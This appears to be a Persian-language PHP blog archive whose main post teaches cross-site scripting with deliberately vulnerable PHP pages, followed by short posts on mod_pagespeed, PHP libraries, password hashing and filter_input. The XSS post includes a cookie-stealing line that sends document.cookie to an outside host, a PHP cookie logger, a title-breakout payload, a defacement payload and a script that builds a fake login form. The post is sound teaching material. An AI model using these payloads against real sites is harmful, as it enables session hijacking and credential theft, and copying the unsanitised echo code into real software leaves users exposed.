بایگانی

Archive for the ‘PHP’ Category

ارائه چند مثال از حملات XSS

سپتامبر 10, 2011 بیان دیدگاه

مثال 1 : مثال بسیار ساده ای که برای درک مفهوم حملات نوع XSS می توان زد به این شکل خواهد بود.

صفحه ای به نام index.html داریم که به صورت زیر است :

<html>

<head>

<title>this is a test page for sending form data</title>

</head>

<body>

  <form action=»xss_test.php» method=»get»>

       name  : <input type=»text» name=»name» /><br />

         family: <input type=»text» name=»family» /><br />

         message : <textarea name=»message»></textarea><br />

         <input type=»submit» />

    </form>

</body>

</html>

صفحه xss_test.php بدین صورت خواهید بود :

<html>

<head>

<title></title>

</head>

<body>

<?php

       $name = (isset($_REQUEST[‹name›])) ? $_REQUEST[‹name›] : »;

       $family = (isset($_REQUEST[‹name›])) ? $_REQUEST[‹family›] : »;

       $message = (isset($_REQUEST[‹name›])) ? $_REQUEST[‹message›] : »;

       echo «Thank you $name $family for sending the message.<br />»;

       echo «Your message is : $message»;

?>

</body>

</html>

قبل از اینکه این برنامه را با استفاده از acunetix اسکن کنیم بگذارید تحلیلی رو کدهای نوشته شده کرده و نفوذپذیری آن را بررسی کنیم. فرض کنید یک هکر در حال پر کردن این فرم باشد. همانطور که قبلا گفته شد، این نوع حملات در سمت کاربر انجام می شود پس با استفاده از زبان های برنامه نویسی سمت کاربر باید این اسکریپت ها نوشته شوند لذا هکر می تواند با استفاده از زبان JavaScript فیلدهای مورد نظر را پرکند تا بتواند به اطلاعات کاربر دسترسی پیدا کند. و چون هیچ اعتبارسنجی انجام نمی شود لذا هر کدی که کاربر به صفحه xss_test.php بفرستد اجرا خواهد شد. مقدار فیلدها را مانند شکل زیر پر کرده و دکمه submit را بزنید :

همانطور که می بینید ما یک script را به صفحه xss_test.php می فرستیم و با توجه به ساختار کد نویسی ما این کد نیز اجرا خواهد شد. نتیجه اجرای آن نیز در صفحه xss_test.php به شکل زیر خواهد بود.

اگر کمی دقت کنید می بینید وقتی کد های PHP کامپایل می شوند اسکریپتی که ما در فیلد message نوشتیم در تگ body جایگزین می شوند و مانند هر کد جاوا اسکرپتی که ممکن است در صفحات وجود داشته باشند اجرا می شود. برای درک بیشتر این مطلب وقتی در صفحه xss_test.php هستید روی دکمه OK کلیک کرده و سپس کدهای HTML آن را مشاهده کنید. برای این کار روی صفحه راست کلیک کرده و View Page Source را بزنید. کدها به صورت زیر خواهد بود :

<html>

<head>

<title></title>

</head>

<body>

Thank you sajjad aghapour for sending the message.<br />Your message is : Hi

<script>alert(‹XSS Attack›)</script>

</body>

</html>

اگر این برنامه را با استفاده از acunetix نیز اسکن کنیم همین نتایج برای ما نشان داده می شود. تصویر زیر گویای این مطلب خواهد بود :

مثال 2 : شاید خیلی از مواقع جاهایی وجود داشته باشد که از امن بودن کد نوشته شده مطمئن باشید، اما در این مواقع نیز باید کد خود را مورد بازبینی قرار دهید. مثالی که زده شد استفاده از این اسکریپت ها به صورت کلی و محض بود. اما با توجه به مثال زیر می توانید به عمق بیشتری از کار پی ببرید.

صفحه index.html داریم که به صورت زیر است :

<html >
<head>
<title></title>
</head>
<body>
<a href=»xss_test.php?title=sa»></a>
</body>
</html>

 محتویات صفحه xss_test.php بدین صورت خواهد بود :

<html >
<head>
<title>

<?php

         echo $_REQUEST[‹title›];

?>

</title>

</head>

<body>

</body>

</html>

در صفحه test.php عنوان صفحه از ورودی گرفته می شود و بدون هیچ اعتبارسنجی به نمایش در می آید. شاید شما فکر کنید چون در تگ title وجود تگ script بی معنا خواهد بود لذا اعتبارسنجی ورودی نیز بی معنا خواهد بود. اما با کمی تامل متوجه خواهید شد که این کد نیز در معرض حمله است. برای درک اینکه چگونه این کد در معرض حمله قرار دارد این برنامه را با acunetix اسکن می کنیم. نتیجه به شکل زیر خواهد بود :

یعنی درخواستی که هکر می فرستد به این صورت است:

http://localhost:8080/security/xss/xss_test.php?title=1</title>1<ScRiPt >prompt(985812)</ScRiPt>

مفهوم آن به این صورت است که هکر ابتدا تگ <title> را با استفاده از </title> می بندد و سپس اقدام به اجرای اسکریپت خود می کند. یعنی در اصل کد شما به این صورت در خواهد آمد :

<html>

<head>

<title>1</title>1<ScRiPt >prompt(985812)</ScRiPt>

</title>

</head>

<body>

</body>

</html>

در اینجا دو بار تگ <title> بسته شده است که این برای هکر مهم نیست. این کار یقینا استایل صفحه شما را به هم خواهد ریخت و اگر شما کاربر یک سایت هستید با توجه به این موضوع می توانید اطلاعاتی که هکر از شما ربوده است را تغییر داده و مانع از دسترسی بعدی هکر به آنها شوید. برای مثال اگر نام کاربری و کلمه عبور شما در معرض دید هکر قرار گرفته است می توانید آن را عوض کرده تا از دسترسی هکر به اکانت خود جلوگیری کنید.

اگر شما از افزونه NoScript نیز در مرورگر خود استفاده کنید این حمله را شناسایی و بلاک خواهد کرد و پیام آن بدین شکل خواهد بود :

[NoScript XSS] Sanitized suspicious request. Original URL [http://localhost:8080/security/xss/test.php?title=1%3C/title%3E1%3CScRiPt%20%3Eprompt(985812)%3C/ScRiPt%3E] requested from [chrome://browser/content/browser.xul]. Sanitized URL: [http://localhost:8080/security/xss/test.php?title=1%20%2Ftitle%3E1%20ScRiPt%20%3EPROMPT%20985812%20%20%2FScRiPt%3E#8975021026187294357].

مثال 3 : اما پا را فراتر نهیم. تا بدین جا فقط کدهایی را بررسی کردیم که شاید از دید شما امنیت سایت را آنچنان به خطر نیاندازد. در حقیقت کدها طوری نوشته شده است که فقط مطلب فهمانده شود. اما اگر همین کد اطلاعات کوکی شما را به یک صفحه برای یک هکر بفرستد امنیت کاربر به خطر خواهد افتاد. اما نکته ای که در اینجا نیز می خواهیم به آن بپردازیم این است که هر اطلاعاتی که برای هکر ارسال می شود مفید نخواهد بود. در واقع اطلاعاتی مفید خواهد بود که با استفاده از آنها نوعی دسترسی برای هکر به سایت ایجاد کند. در این مثال قصد داریم به این موضوع بپردازیم.

فرض کنید یک سیستم مدیریت محتوا داریم. در سایت امکانی وجود دارد که کاربر می تواند پیامی را برای مدیریت وبسایت ارسال کند. فرم طراحی شده در مثال یک را در نظر بگیرید. اطلاعات این فرم به سیستم مدیریت ارسال می شوند که فیلد message با داده های زیر پر می شود :

document.location = “http://GoogleA5.Com/steal.php?cookie = “ + document.cookie;

این کد به این صورت عمل خواهد کرد که اطلاعات مربوط به کوکی کاربر را به آدرس مربوطه ارسال می کند. در صفحه steal.php هکر طوری کد نویسی کرده است که اطلاعات ارسالی را گرفته و در جایی ذخیره می کند. برای مثال :

<?php
    $handle = fopen(«cookiejar.txt», «a»);
    fputs($handle, «\n».$_GET[«cookie»].»\n»);
    fclose($handle);
?>

حال فرض کنید مدیر وبسایت این پیام را چک می کند. مطمئنا اطلاعات مربوط به کوکی مدیر وبسایت برای یک هکر مفید خواهد بود. لذا هکر می تواند از این اطلاعات برای دسترسی در سطح مدیریتی استفاده نماید.

مثال 4 : اما سوء استفاده از این نوع حمله به اینجا نیز ختم نمی شود. هکر می تواند اسکریپت را طوری بنویسد که محتویات صفحه نمایش سایت را تغییر دهد که به این کار Deface گفته می شود. برای مثال :

xss_test.php?title=<script>document.body.innerHTML = "XSS Attack"</script>

این نمونه ساده ای از Deface بود. هکر می تواند طبق صفحه ورود به سایت شما به همین شکل صفحه ای را طراحی کند که شامل فرمی از فیلدهایی برای وارد کردن نام کاربری و کلمه عبور باشد و action مربوط به این فرم صفحه ای باشد که در آنجا هکر این اطلاعات را گرفته و در جایی ذخیره می کند(در اصل هکر یک faked page طراحی کرده است و به شما نمایش می دهد). حال فرض کنید یک کاربری که سطح دسترسی بالایی هم به سایت دارد به این صفحه راهنمایی می شود و با وارد کردن نام کاربری و کلمه عبور خود انتظار دارد وارد سایت شود غافل از اینکه اطلاعات او به صفحه دیگری برای یک هکر ارسال شده است. برای مثال اسکرپتی که می توان به این صورت نوشت بدین صورت خواهد بود :

function deface()

{

                var form = document.createElement(‹form›);

                form.action = ‹test.php›;

                form.method = ‹post›;

                var input = document.createElement(‹input›);

                input.type = ‹text›;

                input.name = ‹username›;

                form.appendChild(document.createTextNode(‹username : ‹));

                form.appendChild(input);

                form.appendChild(document.createElement(‹br›));

                input = document.createElement(‹input›);

                input.type = ‹text›;

                input.name = ‹pass›;

                form.appendChild(document.createTextNode(‹password : ‹));

                form.appendChild(input);

                form.appendChild(document.createElement(‹br›));

                input = document.createElement(‹input›);

                input.type = ‹submit›;

                input.name = ‹submit›;

                form.appendChild(input);

                form.appendChild(document.createElement(‹br›));

                document.body.innerHTML = »;

                document.body.appendChild(form);

}

دسته‌ها:PHP, Security برچسب‌ها: , ,

بهبود سرعت وبسایت با استفاده از mod_pagespeed

mod_pagespeed یک Apache module هستش که البته فقط بعضی از سرورها اون رو بصورت مستقیم پشتیبانی میکنند.
فقط خواستم یک اشاره ای به این ماژول داشته باشم. کل مطلب رو میتونید از لینک زیر مشاهده کنید:
http://codesamplez.com/web-server/mod_pagespeed-htaccess-tutorial

دسته‌ها:PHP

بیش از 40 کلاس و کتابخانه برای PHP

سلام دوستان….

همون طور که از عنوان این پست پیداست مطلب در مورد کلاس ها و کتابخانه های با کیفیتی است که برای توسعه دهندگان و برنامه نویسان PHP وجود داره.
برخی از موضوعات این کلاس ها:

  • good looking charts
  • form validation
  • parsing feeds
  • better image or database handling
  • File Uploads, Images & Colors
  • and so on

لینک مطلب

دسته‌ها:PHP برچسب‌ها: ,

ایجاد یک Hash امن برای پسوردها

سلام دوستان…

برای Hash کردن پسوردها شاید از ترفندهای متفاوتی استفاده کنید.یا اینکه به الگوریتم های Hashing تعبیه شده در خود PHP اکتفا کنید.در این صورت شما قادر به استفاده از SHA1 و MD5 خواهید بود که البته از دست ک.ر.کر ها که یکی از معروفترین آنها این سایتهست در امان نخواهید ماند….

این مطلب روشی جالب در این زمینه ارائه میکند که از دو تابع uniqid (برای تولید salt ) و crypt برای برای encryption آن استفاده میکند…

موفق باشید/

دسته‌ها:PHP برچسب‌ها: , ,

عدم استفاده از GET_$ جهت دسترسی به متغیرهای ارسالی

ژوئیه 12, 2010 3 دیدگاه

چندوقتی هست که وقت نکردم به PHP سری بزنم.ولی این مطلب رو دیدم و چون دیدم قبلا هم در این مورد بحث شده بود بگذارم….

تاحالا خیلی در مورد استفاده از GET_$ و POST_$ برای دسترسی به متغیرهای ارسالی یک فرم و امنیت اونها بحث شده.شاید اصلا استفاد از GET_$ پیشنهاد نشه(در حقیقت پیشنهاد نمیشه).اما امکانی که در PHP 5.2 اضافه شده جهت اعتبار سنجی و اصولی سازی این دسترسی تابع filter_input هستش که این امکان رو با پارامترهای گوناگون برای شما فراهم خواهد کرد.

Never Use $_GET Again عنوان همین مطلب در این سایت است که این مطلب رو تشریح کرده…

دسته‌ها:PHP برچسب‌ها: